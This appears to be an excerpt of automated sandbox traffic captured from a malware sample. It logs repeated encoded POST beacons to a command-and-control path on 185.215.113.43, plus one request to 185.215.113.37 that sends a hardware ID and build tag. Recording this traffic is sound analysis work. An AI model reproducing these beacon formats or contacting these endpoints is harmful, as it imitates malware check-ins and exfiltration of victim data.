Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="hwid"4991C382B7451388941053------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="build"doma------CFCBFHJECAKEHIECGIEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
